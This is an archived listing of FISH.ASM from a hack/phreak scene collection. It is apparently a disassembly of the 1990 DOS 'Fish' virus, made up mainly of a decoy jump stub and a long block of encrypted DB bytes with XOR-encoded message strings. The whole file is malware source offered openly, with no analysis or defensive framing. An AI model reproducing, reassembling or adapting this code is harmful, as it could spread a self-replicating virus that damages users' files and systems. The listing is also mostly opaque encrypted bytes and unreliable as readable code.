home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / ASM-F.ZIP / FISH.ASM < prev    next >
Assembly Source File  |  1991-05-18  |  38KB  |  739 lines

  1.   
  2. PAGE  59,132
  3.   
  4. ;==========================================================================
  5. ;==                                                                      ==
  6. ;==                             FISH                                     ==
  7. ;==                                                                      ==
  8. ;==      Created:   29-Oct-90                                            ==
  9. ;==      Version:                                                        ==
  10. ;==      Passes:    5          Analysis Options on: AFKOPUX              ==
  11. ;==                                                                      ==
  12. ;==                                                                      ==
  13. ;==========================================================================
  14.   
  15. movseg           macro reg16, unused, Imm16     ; Fixup for Assembler
  16.                  ifidn  <reg16>, <bx>
  17.                  db     0BBh
  18.                  endif
  19.                  ifidn  <reg16>, <cx>
  20.                  db     0B9h
  21.                  endif
  22.                  ifidn  <reg16>, <dx>
  23.                  db     0BAh
  24.                  endif
  25.                  ifidn  <reg16>, <si>
  26.                  db     0BEh
  27.                  endif
  28.                  ifidn  <reg16>, <di>
  29.                  db     0BFh
  30.                  endif
  31.                  ifidn  <reg16>, <bp>
  32.                  db     0BDh
  33.                  endif
  34.                  ifidn  <reg16>, <sp>
  35.                  db     0BCh
  36.                  endif
  37.                  ifidn  <reg16>, <BX>
  38.                  db     0BBH
  39.                  endif
  40.                  ifidn  <reg16>, <CX>
  41.                  db     0B9H
  42.                  endif
  43.                  ifidn  <reg16>, <DX>
  44.                  db     0BAH
  45.                  endif
  46.                  ifidn  <reg16>, <SI>
  47.                  db     0BEH
  48.                  endif
  49.                  ifidn  <reg16>, <DI>
  50.                  db     0BFH
  51.                  endif
  52.                  ifidn  <reg16>, <BP>
  53.                  db     0BDH
  54.                  endif
  55.                  ifidn  <reg16>, <SP>
  56.                  db     0BCH
  57.                  endif
  58.                  dw     seg Imm16
  59. endm
  60. DATA_1E         EQU     0B3H                                    ; (97E0:00B3=0)
  61. DATA_5E         EQU     5A2BH                                   ; (97E0:5A2B=0)
  62. DATA_6E         EQU     5E5DH                                   ; (97E0:5E5D=0)
  63. DATA_7E         EQU     6920H                                   ; (97E0:6920=0)
  64.   
  65. SEG_A           SEGMENT BYTE PUBLIC
  66.                 ASSUME  CS:SEG_A, DS:SEG_A
  67.   
  68.   
  69.                 ORG     100h
  70.   
  71. FISH            PROC    FAR
  72.   
  73. START:
  74.                 JMP     LOC_4                                   ; (0EDE)
  75.                 PUSH    AX
  76.                 CMC                                             ; Complement carry
  77.                 SUB     DX,SI
  78.                 JLE     $-3FH                                   ; Jump if < or =
  79.                 SUB     AL,7FH
  80.                 REP     MOVSB                                   ; Rep when cx >0 Mov [si] to es:[di]
  81.                 POP     ES
  82.                 POP     DS
  83.                 POP     DI
  84.                 ADD     CL,CH
  85.                 RETF    0CD0DH                                  ; Return far
  86.                 AND     [BX+DI+50H],BH
  87.                 nop                                             ;*ASM fixup - displacement
  88.                 MOV     SI,DATA_7E                              ; (97E0:6920=0)
  89.                 JNC     LOC_1                                   ; Jump if carry=0
  90.                 DB      'a tiny VOM p'
  91.                 DB      0EBH, 7AH, 67H, 72H, 61H, 6DH
  92.                 DB       00H, 9CH, 2EH,0FFH, 1EH, 35H
  93.                 DB       0EH,0C3H
  94.                 DB       0DH, 4EH, 42H, 49H, 23H, 82H
  95. LOC_1:
  96.                 OR      SP,DI
  97.                 ADD     DX,DS:DATA_6E[BX+DI]                    ; (97E0:5E5D=0)
  98.                 POP     SP
  99.                 POP     DI
  100.                 POP     BX
  101.                 POP     DX
  102.                 ADC     CX,[BP+DI]
  103.                 AND     SI,DX
  104.                 SUB     SP,DI
  105.                 ADD     SP,[BP+DI]
  106.                 OR      BYTE PTR [BP+DI],0E7H
  107.                 ADD     CX,[BP+SI]
  108.                 ADC     DL,[BP+SI+53H]
  109.                 PUSH    DI
  110.                 PUSH    SP
  111.                 PUSH    SI
  112.                 PUSH    BP
  113.                 NOP
  114.                 AND     SI,DX
  115.                 SUB     SP,DI
  116.                 ADD     BX,[BP+45H]
  117.                 DEC     SP
  118.                 POP     DI
  119.                 INC     SI
  120.                 AND     AX,DS:DATA_5E[SI]                       ; (97E0:5A2B=0)
  121.                 ADD     AH,[BP+DI]
  122.                 SBB     WORD PTR [BP+DI],254H
  123.                 ADD     BX,[BP+SI]
  124.                 AND     AX,[BP+562BH]
  125.                 ADD     AH,[BP+DI]
  126.                 IN      AX,0DEH                                 ; port 0DEH
  127.                 DB      0F2H, 23H, 83H, 1BH, 54H, 02H
  128.                 DB       23H, 84H, 2BH, 56H, 02H, 23H
  129.                 DB       86H, 2BH, 5AH, 02H,0CEH, 23H
  130.                 DB       84H, 2BH, 5AH, 02H, 23H, 81H
  131.                 DB       1BH, 54H, 02H, 03H, 1AH, 23H
  132.                 DB       86H, 2BH, 56H, 02H, 23H,0E5H
  133.                 DB       96H,0F2H, 23H, 83H, 1BH, 54H
  134.                 DB       02H, 23H, 84H, 2BH, 56H, 02H
  135.                 DB       23H, 86H, 2BH, 5AH, 02H,0CEH
  136.                 DB       81H,0B3H, 46H, 03H, 23H,0C9H
  137.                 DB       33H, 38H, 03H, 03H, 12H,0F1H
  138.                 DB      0B4H
  139.                 DB      8, 0DH, 0A1H, '+', 8BH, 8, 85H, 'I'
  140.                 DB      0F2H, 4AH,0EFH,0FBH,0CEH, 4EH
  141.                 DB       4CH, 5FH, 5DH,0BDH, 0CH, 03H
  142.                 DB       12H,0B7H,0BAH, 01H,0E5H, 0CH
  143.                 DB       0DH,0CEH, 0BH, 5EH, 3EH,0D6H
  144.                 DB       83H,0CEH, 87H,0D5H,0DCH,0EEH
  145.                 DB      0DCH,0EEH, 2BH, 84H, 1AH, 2BH
  146.                 DB       81H, 52H, 0FH, 56H, 0AH,0CEH
  147.                 DB       13H, 5BH, 3EH,0FBH, 83H,0D3H
  148.                 DB       3FH,0E9H, 86H,0FDH,0DCH,0EBH
  149.                 DB      0DCH,0EBH, 86H, 11H, 83H, 49H
  150.                 DB       0FH, 53H, 12H,0CEH, 4FH, 4CH
  151.                 DB       5EH, 5EH,0E5H,0BDH, 0FH,0B4H
  152.                 DB      0E5H, 5BH, 07H, 83H, 23H,0AEH
  153.                 DB      0EEH, 03H,0B9H, 5FH, 23H,0CAH
  154.                 DB       0BH, 56H, 02H, 0DH, 1DH, 23H
  155.                 DB       81H, 13H, 48H, 03H,0E5H, 8DH
  156.                 DB       06H,0E6H,0C0H, 2CH, 2BH, 86H
  157.                 DB       4AH,0F3H, 23H,0AEH, 4AH, 03H
  158.                 DB       03H, 12H,0E5H, 3DH, 07H,0ACH
  159.                 DB      0BDH, 2CH,0E5H,0BEH,0F2H, 81H
  160.                 DB       0BH, 22H, 03H, 84H, 13H, 20H
  161.                 DB       03H,0B7H,0BAH, 01H,0BDH, 0CH
  162.                 DB      0CBH, 0BH, 5DH, 03H, 0DH,0E5H
  163.                 DB       85H,0F2H, 91H, 55H, 00H, 0DH
  164.                 DB       0CH, 5DH, 90H, 91H,0B9H, 6CH
  165.                 DB      0F2H, 13H, 20H, 03H, 91H, 55H
  166.                 DB       28H,0F2H,0F3H, 5DH, 90H,0E5H
  167.                 DB      0ECH, 0CH,0AEH,0C9H, 33H, 20H
  168.                 DB       03H, 81H, 0BH, 3AH, 03H,0CBH
  169.                 DB       0BH, 46H, 03H,0E7H,0CAH, 0BH
  170.                 DB       41H, 03H, 56H, 00H, 84H, 33H
  171.                 DB       38H, 03H, 81H, 03H, 43H, 03H
  172.                 DB      0E5H, 0AH, 0DH,0E5H, 2BH,0F2H
  173.                 DB      0E5H, 1AH, 07H, 84H,0BDH, 22H
  174.                 DB      0E5H, 56H,0F2H, 81H,0CEH, 23H
  175.                 DB       34H, 13H, 4AH, 03H, 7EH, 11H
  176.                 DB      0E5H, 32H, 07H, 23H, 83H, 13H
  177.                 DB       22H, 03H, 23H,0F2H, 3BH, 20H
  178.                 DB       03H, 57H,0BDH, 1EH,0E5H, 24H
  179.                 DB      0F2H, 3EH,0D6H, 83H,0D6H,0CBH
  180.                 DB       0BH, 78H, 09H, 0FH,0CEH
  181.                 DB      '-KD^E-[D_X^-.;- -HLNE-IDKK- -OBC'
  182.                 DB      'C-?"4=-*sfcwt{bp*)'
  183.                 DB      0E5H,0CFH,0F3H, 23H, 81H, 03H
  184.                 DB       43H, 03H,0E5H,0B7H,0F3H, 03H
  185.                 DB       12H, 13H, 0AH,0ACH, 48H, 03H
  186.                 DB       83H,0CDH, 2BH,0C8H, 1BH, 07H
  187.                 DB       0DH, 83H,0D5H, 08H, 1DH, 0DH
  188.                 DB       23H, 0CH, 0BH, 17H, 0DH, 23H
  189.                 DB       8DH, 33H, 2DH, 0DH, 0DH,0F6H
  190.                 DB       78H, 29H, 23H,0ACH, 09H, 0DH
  191.                 DB      0AEH, 0DH, 0CH, 23H,0ACH, 0BH
  192.                 DB       0DH,0AEH, 0FH, 0CH, 23H,0ACH
  193.                 DB       05H, 0DH,0AEH, 09H, 0CH, 23H
  194.                 DB      0F2H, 3BH, 48H, 03H, 3EH,0CDH
  195.                 DB      0F3H,0C9H, 5DH, 23H,0ACH,0EEH
  196.                 DB       03H,0C6H, 23H, 0CH, 0BH, 1FH
  197.                 DB       0DH, 23H,0ACH,0EEH, 03H, 23H
  198.                 DB       86H, 2BH, 19H, 0DH, 23H, 83H
  199.                 DB       1BH, 1FH, 0DH, 23H,0F2H, 23H
  200.                 DB       15H
  201.                 DB       0DH, 59H, 5FH, 42H, 58H, 59H
  202. LOC_2:
  203.                 DB       3EH,0E9H,0E5H, 0DH, 0DH, 84H
  204.                 DB      0C8H, 81H,0C5H,0B6H, 1DH, 0DH
  205.                 DB      0FAH,0EEH, 54H, 8CH,0E4H, 42H
  206.                 DB       0FH, 0EH,0CCH, 8EH,0DFH, 0DH
  207.                 DB      0FAH,0FEH, 5DH,0B5H,0F7H, 0DH
  208.                 DB       5DH, 84H,0E5H,0C6H,0E5H,0C1H
  209.                 DB       0DH,0C0H,0E5H, 29H, 07H,0C6H
  210.                 DB       5EH, 86H,0D1H, 3BH, 86H, 52H
  211.                 DB       0BH, 23H, 84H, 13H,0BEH, 03H
  212.                 DB       56H, 58H, 84H,0E8H,0E5H,0DDH
  213.                 DB       05H,0AEH,0E5H,0FCH,0F0H,0E5H
  214.                 DB       19H,0F3H,0E5H,0CBH,0F0H,0E5H
  215.                 DB       95H,0F0H,0E5H,0CDH, 05H, 85H
  216.                 DB       8DH,0F1H, 02H, 78H, 09H,0E4H
  217.                 DB      0E4H, 0DH,0B5H, 8DH,0F1H, 1CH
  218.                 DB       78H, 09H,0E4H, 96H, 0DH,0ACH
  219.                 DB       8DH,0F1H, 1FH, 78H, 09H,0E4H
  220.                 DB       9FH, 0DH, 84H, 8DH,0F1H, 19H
  221.                 DB       78H, 09H,0E4H, 04H, 0CH,0E6H
  222.                 DB       8DH,0F1H, 2CH, 78H, 09H,0E4H
  223.                 DB      0F9H, 0DH, 81H, 8DH,0F1H, 2EH
  224.                 DB       78H, 09H,0E4H, 89H, 0CH,0AEH
  225.                 DB       8DH,0F1H, 2AH, 78H, 09H,0E4H
  226.                 DB      0EDH, 0DH,0E6H, 8DH,0F1H, 30H
  227.                 DB       78H, 09H,0E4H,0CBH
  228. DATA_3          DW      0F20CH                                  ; Data table (indexed access)
  229.                 DB       8DH,0F1H, 33H, 78H, 09H,0E4H
  230.                 DB       0CH, 0FH,0ACH, 8DH,0F1H, 32H
  231.                 DB       78H, 09H,0E4H, 70H, 0AH, 85H
  232.                 DB       8DH,0F1H, 4FH, 78H, 09H,0E4H
  233.                 DB       4FH, 0AH, 81H, 8DH,0F1H, 46H
  234.                 DB       78H, 09H,0E4H, 11H, 0FH,0E6H
  235.                 DB       8DH,0F1H, 43H, 78H, 09H,0E4H
  236.                 DB       5EH, 05H, 84H, 8DH,0F1H, 42H
  237.                 DB       78H, 09H,0E4H, 47H, 05H, 83H
  238.                 DB       8DH,0F1H, 5AH, 78H, 0EH,0E4H
  239.                 DB      0C2H, 0BH,0E4H, 5AH, 04H,0E6H
  240.                 DB      0E5H, 7FH, 04H,0ACH,0E5H, 5EH
  241.                 DB      0F0H,0E5H, 7BH,0F0H,0E5H, 25H
  242.                 DB      0F0H, 84H,0E8H, 23H,0F2H, 3BH
  243.                 DB      0BEH, 03H, 82H, 4BH, 0BH, 50H
  244.                 DB      0C2H, 23H,0F2H, 0BH, 3CH, 03H
  245.                 DB      0E4H, 19H, 05H,0ACH,0E5H,0F5H
  246.                 DB      0F1H,0E5H,0DAH,0F1H, 07H,0CDH
  247.                 DB       78H,0D9H,0E5H,0D6H,0F1H,0E5H
  248.                 DB      0CCH, 0CH,0BDH, 0DH, 8DH, 32H
  249.                 DB      0F2H, 78H, 0BH, 87H, 4AH, 0BH
  250.                 DB       8EH,0CEH, 0AH, 23H, 2DH, 0BH
  251.                 DB      0FDH, 03H,0FBH, 4AH, 17H, 8DH
  252.                 DB       79H, 18H, 8DH, 62H, 17H,0C5H
  253.                 DB       23H, 8DH, 33H,0FDH, 03H, 0DH
  254.                 DB       78H, 04H, 8CH, 62H, 10H, 0DH
  255.                 DB       03H, 8EH, 52H, 12H, 0DH,0E5H
  256.                 DB      0B6H,0F1H,0E6H, 91H, 4BH, 44H
  257.                 DB       43H,0E5H,0BEH,0F1H,0E5H, 9FH
  258.                 DB      0F1H,0E5H, 97H,0F1H, 07H,0CDH
  259.                 DB       78H,0E6H, 84H,0DEH,0FBH, 4AH
  260.                 DB       18H, 8DH, 79H,0EEH, 8DH, 62H
  261.                 DB       18H,0C5H, 8CH, 62H, 1DH, 0DH
  262.                 DB       03H, 8DH, 52H, 1FH, 0DH,0E6H
  263.                 DB      0D9H, 23H,0F2H, 03H, 3CH, 03H
  264.                 DB      0E4H,0AFH, 0AH,0AEH,0EEH, 16H
  265.                 DB       84H,0DEH, 86H, 7AH, 2CH, 06H
  266.                 DB       7AH, 2EH, 78H, 1CH,0E6H, 07H
  267.                 DB       84H,0DEH, 86H, 4AH, 01H, 07H
  268.                 DB       4AH, 2DH, 78H, 08H,0E5H,0EEH
  269.                 DB       09H, 7EH, 0EH,0E4H, 45H,0F2H
  270.                 DB      0E5H, 6BH,0F1H,0E5H, 5DH,0F1H
  271.                 DB      0E5H, 4FH,0F1H, 84H, 43H,0F5H
  272.                 DB       84H, 4BH,0F1H, 13H, 5FH,0E5H
  273.                 DB       26H, 0CH, 8EH, 72H, 19H, 0CH
  274.                 DB       79H, 16H, 86H, 0AH, 0EH, 4AH
  275.                 DB       0FH, 5EH, 86H, 52H, 09H,0FAH
  276.                 DB      0DEH, 0CH,0D5H, 56H, 79H, 06H
  277.                 DB       8EH,0C9H, 09H,0E4H, 76H,0F2H
  278.                 DB       40H, 58H, 5EH, 46H, 54H, 57H
  279.                 DB       12H, 84H,0DBH, 03H, 0AH,0B4H
  280.                 DB       28H, 0DH,0B2H,0B8H, 03H,0FEH
  281.                 DB      0A9H,0B2H,0B8H, 03H, 03H, 12H
  282.                 DB       86H, 58H, 1FH, 86H, 48H, 1DH
  283.                 DB       08H, 02H, 03H, 8EH,0DFH, 0DH
  284.                 DB       28H,0FDH,0F2H, 84H, 58H, 1FH
  285.                 DB       84H, 48H, 1DH, 20H,0F1H, 00H
  286.                 DB       8EH,0D7H, 0DH, 84H, 58H, 2EH
  287.                 DB       84H, 48H, 2CH,0B4H, 11H, 0DH
  288.                 DB      0CAH, 48H, 03H, 0CH, 0DH,0B9H
  289.                 DB       2AH, 84H,0F7H,0E5H,0DEH,0F6H
  290.                 DB      0E4H, 3DH,0F2H, 03H, 0AH,0B2H
  291.                 DB      0B8H, 03H,0B4H, 28H, 0DH, 84H
  292.                 DB      0DBH,0FEH,0A9H, 13H, 5FH, 03H
  293.                 DB       12H,0B9H, 02H,0B7H,0B8H, 03H
  294.                 DB      0E5H,0B5H,0F6H,0B9H, 1DH,0E5H
  295.                 DB      0BEH,0F6H,0FBH, 0BH,0C7H, 03H
  296.                 DB       8DH, 53H, 12H, 79H, 26H, 23H
  297.                 DB      0C9H, 13H,0C8H, 03H, 81H,0CDH
  298.                 DB       8CH,0E6H, 0DH, 03H, 10H, 0DH
  299.                 DB       0DH, 3EH,0DFH, 23H, 86H, 03H
  300.                 DB      0CEH, 03H, 44H, 0CH,0C6H, 18H
  301.                 DB       0DH, 0DH, 4CH,0FAH,0FCH, 84H
  302.                 DB       49H, 2EH, 9FH, 9EH,0FAH,0FCH
  303.                 DB       84H, 49H, 2CH,0E4H,0D2H,0F3H
  304.                 DB      0E4H, 74H,0F3H,0E5H, 61H, 09H
  305.                 DB      0E5H, 18H, 09H, 7FH, 34H, 23H
  306.                 DB       8DH, 33H,0AFH, 03H, 0DH, 79H
  307.                 DB       3CH,0E5H, 64H, 09H, 8EH,0F6H
  308.                 DB      0F2H, 79H, 24H, 23H,0F3H, 03H
  309.                 DB      0AFH, 03H, 03H, 0AH,0B4H, 19H
  310.                 DB       0DH,0B2H, 5FH, 03H, 3EH,0CDH
  311.                 DB      0FFH,0A2H, 23H,0ACH,0AEH, 03H
  312.                 DB       2BH, 84H, 48H,0F3H, 2BH, 84H
  313.                 DB       50H, 2BH, 84H, 53H,0F1H, 23H
  314.                 DB       8DH, 2BH,0BEH, 03H,0F3H,0E4H
  315.                 DB       96H,0F3H,0E4H, 38H,0F3H, 03H
  316.                 DB       0AH,0E5H, 2BH, 09H,0B4H, 19H
  317.                 DB       0DH, 23H,0ACH,0AEH, 03H,0B2H
  318.                 DB       5FH, 03H,0FFH
  319.                 DB      0A2H, 'x', 1BH, '+6P+x'
  320.                 DB      0FBH, 2BH,0CAH, 48H,0F3H, 0DH
  321.                 DB       0DH,0E5H, 1AH, 0FH, 23H,0F3H
  322.                 DB       0BH,0AFH, 03H,0E6H,0C6H,0E4H
  323.                 DB       04H,0F3H,0B9H, 22H, 0BH,0E5H
  324.                 DB       0BH,0F6H, 0BH, 12H, 0AH,0CEH
  325.                 DB       07H,0CDH, 79H, 0EH,0E4H, 5BH
  326.                 DB       0CH, 13H, 5FH, 23H, 81H, 0BH
  327.                 DB       2BH, 03H, 23H, 84H, 13H, 29H
  328.                 DB       03H, 23H,0C8H, 3BH, 29H, 03H
  329.                 DB      0B4H, 03H, 0DH,0B2H,0FCH, 03H
  330.                 DB       03H, 0AH,0FEH,0A9H, 53H, 12H
  331.                 DB      0B4H, 5DH, 0DH,0B2H, 0AH, 02H
  332.                 DB      0FEH,0A9H,0B6H,0F2H,0F2H,0E5H
  333.                 DB      0E3H,0F7H, 50H, 23H, 82H, 0BH
  334.                 DB      0EBH, 03H, 23H, 82H, 0BH,0E5H
  335.                 DB       03H, 23H, 82H, 0BH,0BEH, 03H
  336.                 DB       03H,0B5H, 0CH, 46H, 0AH, 91H
  337.                 DB      0B6H,0FCH, 03H, 23H,0F2H, 13H
  338.                 DB       38H, 03H, 7EH, 2DH, 23H, 8EH
  339.                 DB       03H,0BEH, 03H, 0CH, 23H,0F2H
  340.                 DB       3BH,0BEH, 03H, 23H,0F2H, 3BH
  341.                 DB      0E5H, 03H, 23H,0F2H, 3BH,0EBH
  342.                 DB       03H, 58H, 23H,0C9H, 13H, 29H
  343.                 DB       03H, 84H,0E8H,0E4H, 9CH,0F0H
  344.                 DB      0E5H, 8DH, 0EH, 03H, 0AH,0B4H
  345.                 DB       19H, 0DH,0B2H, 5FH, 03H, 23H
  346.                 DB      0ACH,0AEH, 03H,0FFH,0A2H, 78H
  347.                 DB       00H, 2BH,0CAH, 48H,0F3H, 0DH
  348.                 DB       0DH, 23H,0F3H, 0BH,0AFH, 03H
  349.                 DB      0E6H,0E6H, 23H,0C8H, 3BH, 0EH
  350.                 DB       02H, 8EH,0F3H, 0CH, 78H, 39H
  351.                 DB       86H, 1BH, 17H, 0DH, 8EH,0CFH
  352.                 DB       1DH,0B9H, 5CH,0E5H, 57H,0F7H
  353.                 DB       0EH,0DEH, 23H, 84H, 1BH, 08H
  354.                 DB       02H,0F2H, 3BH, 15H, 0DH, 23H
  355.                 DB       82H, 0BH, 0EH, 02H, 0EH, 13H
  356.                 DB       1FH, 0DH, 8EH,0CEH, 1DH, 23H
  357.                 DB       84H, 13H, 0CH, 02H,0F2H, 3BH
  358.                 DB       19H, 0DH, 23H, 82H, 0BH,0F2H
  359.                 DB       03H,0E4H, 25H, 0DH, 86H, 09H
  360.                 DB       0EH, 49H, 0FH, 5EH, 86H, 51H
  361.                 DB       09H,0FAH,0DEH, 0CH,0D5H, 56H
  362.                 DB       79H, 6CH, 03H, 12H,0B7H, 0AH
  363.                 DB       02H,0E5H,0B4H, 0FH,0E5H, 1AH
  364.                 DB       0EH, 23H,0F3H, 0BH,0E2H, 03H
  365.                 DB      0E5H, 1DH, 0CH, 23H,0F3H, 03H
  366.                 DB      0E2H, 03H,0B9H, 5CH,0E5H, 08H
  367.                 DB      0F7H,0E5H, 50H,0F7H,0E5H, 8DH
  368.                 DB      0F7H,0E5H, 3FH,0F7H, 83H,0D6H
  369.                 DB       83H,0CEH, 23H,0F2H, 3BH,0BEH
  370.                 DB       03H, 23H,0F2H, 3BH,0E5H, 03H
  371.                 DB       23H,0F2H, 3BH,0EBH, 03H, 82H
  372.                 DB       0BH, 07H, 0DH, 82H, 0BH, 01H
  373.                 DB       0DH, 13H,0BDH, 2FH,0C8H, 1BH
  374.                 DB       07H, 0DH,0E5H, 8DH,0F7H, 12H
  375.                 DB       90H, 55H, 23H, 86H, 2BH,0F2H
  376.                 DB       03H, 23H, 83H, 1BH, 0CH, 02H
  377.                 DB       23H,0F2H, 23H, 0EH, 02H
  378.                 DB      '^BAH', 86H, 'Q', 0CH, 86H, 8DH, '4'
  379.                 DB      0FFH, 84H, 09H, 86H, 8DH, 36H
  380.                 DB      0FFH, 84H, 49H, 0FH, 86H, 8DH
  381.                 DB       30H,0FFH, 84H, 49H, 09H,0E5H
  382.                 DB      0DAH, 0EH,0E6H, 96H, 31H, 0CH
  383.                 DB       79H, 0EH,0E4H, 96H,0F1H, 23H
  384.                 DB       8EH, 03H,0BEH, 03H, 0CH, 23H
  385.                 DB       81H, 0BH, 2BH, 03H, 23H, 84H
  386.                 DB       13H, 29H, 03H,0E5H,0A4H,0F4H
  387.                 DB      0E5H, 85H,0F4H,0E5H, 9DH,0F4H
  388.                 DB       23H,0C9H, 13H, 29H, 03H, 2BH
  389.                 DB      0C8H, 7AH, 1FH, 7FH, 79H, 23H
  390.                 DB       8DH, 2BH,0BEH, 03H,0F3H, 8EH
  391.                 DB      0F3H, 0CH, 79H, 24H, 86H, 09H
  392.                 DB       0EH, 49H, 0FH, 5EH, 86H, 51H
  393.                 DB       09H,0FAH,0DEH, 0CH,0D5H
  394.                 DB      'VxH', 86H, 'Q', 0CH, 86H, 8DH, '4'
  395.                 DB      0FFH, 84H, 09H, 86H, 8DH, 36H
  396.                 DB      0FFH, 84H, 49H, 0FH, 86H, 8DH
  397.                 DB       30H,0FFH, 84H, 49H, 09H,0E6H
  398.                 DB       21H, 86H, 1BH, 17H, 0DH,0E5H
  399.                 DB       3FH, 0FH, 23H, 86H, 03H,0AEH
  400.                 DB       03H, 8EH,0CCH, 1DH, 0CH,0C7H
  401.                 DB       2BH, 84H, 5AH, 19H,0ACH, 15H
  402.                 DB       0DH, 2BH, 84H, 4AH, 1FH,0ACH
  403.                 DB       1FH, 0DH, 0EH,0CCH, 2BH, 84H
  404.                 DB       4AH, 1DH,0ACH, 19H, 0DH, 2BH
  405.                 DB       84H, 4AH, 03H,0E5H, 07H, 0FH
  406.                 DB       23H, 83H, 13H,0AEH, 03H, 86H
  407.                 DB       4BH, 0FH,0AEH, 07H, 0DH, 86H
  408.                 DB       4BH, 09H,0AEH, 01H, 0DH,0E4H
  409.                 DB       6EH,0F1H, 4BH, 44H, 5EH, 45H
  410.                 DB      0E5H,0A6H, 09H,0E5H,0D1H, 0DH
  411.                 DB      0CBH, 0BH, 2DH, 0DH, 0CH, 8CH
  412.                 DB       33H, 0DH, 03H, 40H, 57H, 79H
  413.                 DB       03H, 8CH, 33H, 0DH, 03H, 57H
  414.                 DB       40H, 79H, 0BH,0F3H, 03H, 2DH
  415.                 DB       0DH, 79H, 55H,0ACH, 09H, 03H
  416.                 DB      0DCH,0ECH,0FAH,0ECH, 08H, 0DH
  417.                 DB       0FH, 34H,0FDH, 7FH, 45H,0ACH
  418.                 DB       07H, 03H, 06H, 0BH, 01H, 03H
  419.                 DB       79H, 32H, 86H, 1BH,0A6H, 03H
  420.                 DB      0B4H, 0DH, 0FH,0ACH,0A4H, 03H
  421.                 DB      0FAH,0FCH, 06H,0DFH, 79H, 0CH
  422.                 DB       4DH, 84H, 1BH, 0FH, 03H,0AEH
  423.                 DB       09H, 03H, 8EH, 33H, 19H, 03H
  424.                 DB       0CH, 79H, 60H,0CAH, 0BH, 19H
  425.                 DB       03H, 0CH, 0DH, 86H,0CBH, 26H
  426.                 DB       0BH, 05H, 03H,0AEH, 1BH, 03H
  427.                 DB       8EH, 0BH, 09H, 03H, 0AH,0CAH
  428.                 DB       0BH, 1DH, 03H, 0DH, 03H,0AEH
  429.                 DB       03H, 03H,0E5H,0C0H, 0DH,0E6H
  430.                 DB       46H, 8CH,0F3H, 0DH, 02H, 7EH
  431.                 DB       48H,0ACH, 0DH, 03H,0AEH, 09H
  432.                 DB       0DH, 0CH,0CFH,0ACH, 0FH, 03H
  433.                 DB      0AEH, 0BH, 0DH, 0CH,0CFH,0ACH
  434.                 DB       09H, 03H,0AEH, 05H, 0DH,0FAH
  435.                 DB      0DDH, 0CH,0CFH, 79H, 24H,0ACH
  436.                 DB      0FFH, 03H, 29H, 09H, 78H, 2FH
  437.                 DB      0BCH,0E4H,0B5H, 1DH, 0DH, 85H
  438.                 DB       03H, 0DH, 03H,0FAH,0EBH, 08H
  439.                 DB      0C6H, 00H,0AEH, 0CH, 03H,0ACH
  440.                 DB       0DH, 03H, 0EH, 0BH, 0FH, 03H
  441.                 DB      0FAH,0D5H,0FAH,0DDH,0AEH, 09H
  442.                 DB       03H,0E5H, 8DH, 0DH,0B9H, 33H
  443.                 DB      0E5H, 3BH,0F5H, 23H, 86H, 03H
  444.                 DB      0FFH, 03H,0B5H, 0CH, 4EH, 23H
  445.                 DB       86H, 1BH,0F9H, 03H, 23H, 83H
  446.                 DB       13H,0FBH, 03H,0E5H, 2CH,0F5H
  447.                 DB      0E5H, 40H, 09H,0CEH, 03H,0B5H
  448.                 DB       0DH, 5AH, 12H,0E5H, 18H,0F5H
  449.                 DB       84H, 03H, 24H, 03H,0B5H, 0DH
  450.                 DB       4FH, 84H, 1BH, 26H, 03H, 3EH
  451.                 DB      0C4H, 3EH,0DFH,0E5H, 0EH,0F5H
  452.                 DB      0B9H, 32H,0B7H, 0DH, 03H,0BCH
  453.                 DB       11H,0E5H,0F4H,0FAH, 3EH,0C4H
  454.                 DB      0B5H, 0DH, 4FH, 3EH,0DFH,0E5H
  455.                 DB      0E2H,0FAH,0BCH, 11H,0B9H, 32H
  456.                 DB      0B7H, 09H, 0DH,0E5H,0E8H,0FAH
  457.                 DB       3EH,0C4H,0B5H, 0FH, 4FH, 86H
  458.                 DB      0DCH,0E5H,0D6H,0FAH, 84H, 1BH
  459.                 DB      0A6H, 03H,0AEH,0A4H, 03H, 86H
  460.                 DB      0F5H, 08H, 02H, 0DH, 8EH,0DFH
  461.                 DB       0DH, 28H,0FDH,0F2H, 24H,0CAH
  462.                 DB      0B4H, 1DH, 0DH,0FAH,0FCH, 86H
  463.                 DB      0FDH,0CEH, 5DH, 44H, 46H, 48H
  464.                 DB       3EH,0C4H,0B5H, 0DH, 4FH, 86H
  465.                 DB      0DCH,0E5H,0BCH,0FAH,0BCH, 11H
  466.                 DB      0B9H, 4DH,0B7H, 0DH, 03H,0E5H
  467.                 DB      0AAH,0FAH,0B5H, 1DH, 0DH,0FAH
  468.                 DB      0EBH, 86H,0C7H, 86H,0DDH,0B5H
  469.                 DB       0DH, 4FH,0E5H, 95H,0FAH,0B4H
  470.                 DB       0DH, 03H, 3EH,0DFH, 0CH,0F4H
  471.                 DB      0B9H, 4DH, 23H,0CBH, 0BH, 3EH
  472.                 DB       03H, 0CH, 5EH,0E5H,0D0H, 09H
  473.                 DB       56H, 86H, 03H, 24H, 03H,0B5H
  474.                 DB       0CH, 5AH, 86H, 1BH, 26H, 03H
  475.                 DB      0FBH,0CBH, 8DH, 78H, 0EH, 8DH
  476.                 DB      0CBH,0C5H,0E5H, 63H,0FAH,0CEH
  477.                 DB      0E5H,0C8H,0FAH, 84H,0DAH, 8EH
  478.                 DB      0CAH, 00H, 13H, 0AH,0E6H, 2DH
  479.                 DB      0E5H,0B4H,0FAH, 13H, 0AH,0B4H
  480.                 DB       5DH, 0DH, 84H,0DAH,0BEH, 0DH
  481.                 DB       3EH,0CDH, 8DH, 70H, 0CH, 37H
  482.                 DB       78H, 08H, 87H, 10H, 8DH,0EEH
  483.                 DB       12H, 23H, 85H, 13H, 25H, 03H
  484.                 DB      0FFH,0A3H, 86H, 48H,0F0H, 28H
  485.                 DB      0D2H,0D2H, 0FH,0EDH, 87H, 48H
  486.                 DB      0F1H, 29H,0D2H, 0FH,0C9H, 23H
  487.                 DB      0CBH, 0BH, 2DH, 0DH, 0DH, 31H
  488.                 DB      0D2H, 79H, 04H, 23H,0F3H, 0BH
  489.                 DB       2DH, 0DH, 31H,0EFH, 78H, 00H
  490.                 DB      0E5H, 5FH,0FAH,0F5H,0CEH
  491.                 DB      '@LNFH_HA'
  492.                 DB      0E5H, 48H,0FAH,0F4H,0CEH, 5EH
  493.                 DB      0B9H, 5CH,0E5H, 0AH,0FAH, 23H
  494.                 DB       84H, 13H,0AEH, 03H, 56H,0CEH
